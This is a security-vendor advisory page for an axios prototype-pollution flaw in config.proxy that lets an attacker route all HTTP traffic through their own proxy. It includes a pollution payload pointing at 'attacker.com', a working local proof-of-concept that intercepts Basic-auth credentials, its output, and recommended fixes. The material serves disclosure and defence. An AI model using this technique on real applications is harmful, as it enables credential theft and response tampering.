Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-35jp-ww65-95wh

HIGH

GHSA-35jp-ww65-95wh is a high-severity (CVSS 8.7) CWE-441 vulnerability in axios. O3 Security confirms whether GHSA-35jp-ww65-95wh is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`

Also known asCVE-2026-44494
Published
May 29, 2026
Updated
Jun 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-35jp-ww65-95wh.

EPSS Exploitation Probability

via FIRST.org ↗
1.0%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs61th percentile — riskier than 61% of all scored CVEsHighest risk
0.54%0.87%1.21%1.54%1.0%1.0%1.0%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-35jp-ww65-95wh plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

179Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
axiosnpm
119.8Mdownloads / week

Description

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials.

The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.

Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.

Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)

CWE

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

CVSS 3.1

Score: 9.4 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

MetricValueJustification
Attack VectorNetworkPP is triggered remotely via any vulnerable dependency
Attack ComplexityLowOnce PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges RequiredNoneNo authentication needed
User InteractionNoneNo user interaction required
ScopeUnchangedMITM within the application's network context
ConfidentialityHighAttacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames)
IntegrityHighAttacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true
AvailabilityLowAttacker could drop requests or return errors, but this is secondary to C/I impact

Why This Bypasses mergeConfig

The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:

  1. mergeConfig iterates Object.keys({...defaults, ...userConfig})proxy is NOT in this set
  2. defaultToConfig2 for proxy is never called
  3. The merged config has no own proxy property
  4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain
  5. Object.prototype.proxy is found → used by setProxy()

This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype.proxy = {
  host: 'attacker.com',
  port: 8080,
  protocol: 'http',
};

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer — no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
  auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});

3. The Execution

At http.js:668-670:

setProxy(
  options,
  config.proxy,    // ← traverses prototype chain → finds polluted proxy
  protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);

setProxy() at http.js:191-239 then:

function setProxy(options, configProxy, location) {
  let proxy = configProxy;    // = { host: 'attacker.com', port: 8080 }
  // ...
  if (proxy) {
    options.hostname = proxy.hostname || proxy.host;  // → 'attacker.com'
    options.port = proxy.port;                         // → 8080
    options.path = location;                           // → full URL as path
    // ...
  }
}

4. The Impact (Full MITM)

The attacker's proxy server receives:

GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, */*

The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker:

  • Sees every request URL, header, and body
  • Modifies every response (inject malicious data, change auth results)
  • Logs all API keys, session tokens, and passwords
  • Operates as an invisible proxy — the developer has no indication

5. Verified PoC Code

import http from 'http';
import axios from './index.js';

// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
  intercepted.push({
    url: req.url,
    authorization: req.headers.authorization,
    headers: req.headers,
  });
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Real target server
const realServer = http.createServer((req, res) => {
  res.writeHead(200);
  res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;

// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };

// "Safe" request — goes through attacker's proxy
const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {
  auth: { username: 'admin', password: 'SuperSecret123!' }
});

console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)

delete Object.prototype.proxy;
realServer.close();
proxyServer.close();

Verified PoC Output

[1] Normal request (before pollution):
    Response source: real server
    response.data: {"data":"from-real-server"}
    Proxy intercept count: 0

[2] Prototype Pollution: Object.prototype.proxy
    Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }

[3] Request after pollution (same code, same URL):
    Response source: ATTACKER PROXY!
    response.data: {"data":"from-attacker-proxy","hijacked":true}

[4] Data intercepted by attacker's proxy:
    Full URL: http://127.0.0.1:50878/api/secrets
    Host: 127.0.0.1:50878
    Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
    All headers: {
      "accept": "application/json, text/plain, */*",
      "user-agent": "axios/1.15.0",
      "accept-encoding": "gzip, compress, deflate, br",
      "host": "127.0.0.1:50878",
      "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
      "connection": "keep-alive"
    }

[5] Attacker capabilities demonstrated:
    ✓ Full URL visible (including internal hostnames)
    ✓ Authorization header visible (Base64-encoded credentials)
    ✓ Can modify/forge response data
    ✓ Affects ALL axios HTTP requests (not just a single instance)
    ✓ No assertOptions constraints (unlike transformResponse gadget)

Impact Analysis

  • Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.
  • Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true".
  • Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
  • Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
  • Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.
  • Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.

Why This Is More Severe Than transformResponse (axios_26)

DimensiontransformResponse Gadgetproxy Gadget
Data accessthis.auth + response dataAll headers, auth, body, URL, response
Response controlMust return trueArbitrary responses
Attack visibilityResponse becomes true (suspicious)Normal-looking responses (invisible)
mergeConfig involvementGoes through defaultToConfig2Bypasses mergeConfig entirely

Recommended Fix

Fix 1: Use hasOwnProperty when reading security-sensitive config properties

// In lib/adapters/http.js
const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;
setProxy(options, proxy, location);

Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty

Properties not in defaults that are read by http.js and have security impact:

  • config.proxy — MITM
  • config.socketPath — Unix socket SSRF
  • config.transport — request hijack
  • config.lookup — DNS hijack
  • config.beforeRedirect — redirect manipulation
  • config.httpAgent / config.httpsAgent — agent injection

All should use hasOwnProperty checks.

Fix 3: Use null-prototype object for merged config

// In lib/core/mergeConfig.js
const config = Object.create(null);

Resources

Timeline

DateEvent
2026-04-16Vulnerability discovered during source code audit
2026-04-16PoC developed and verified — full MITM confirmed
TBDReport submitted to vendor via GitHub Security Advisory

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmaxios1.0.0&&< 1.16.01.16.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update axios to 1.16.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-35jp-ww65-95wh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-35jp-ww65-95wh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-35jp-ww65-95wh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This Important flaw in the Axios library allows an attacker to escalate existing prototype pollution vulnerabilities within an application's dependency tree into a full Man-in-the-Middle (MITM) attack. By injecting a malicious proxy configuration into the `Object.prototype`, an attacker can intercept, read, and modify…

Frequently Asked Questions

# Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy` ## Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into a **full Man-in-the-Middle (MITM) attack** — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at `lib/adapters/http.js:670` reads `config.proxy` via standard property access, which traverses the prototype chain. Because `proxy` is **not present in Ax
O3 Security · Impact-Aware SCA

Is GHSA-35jp-ww65-95wh in your dependencies?

O3 detects GHSA-35jp-ww65-95wh across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.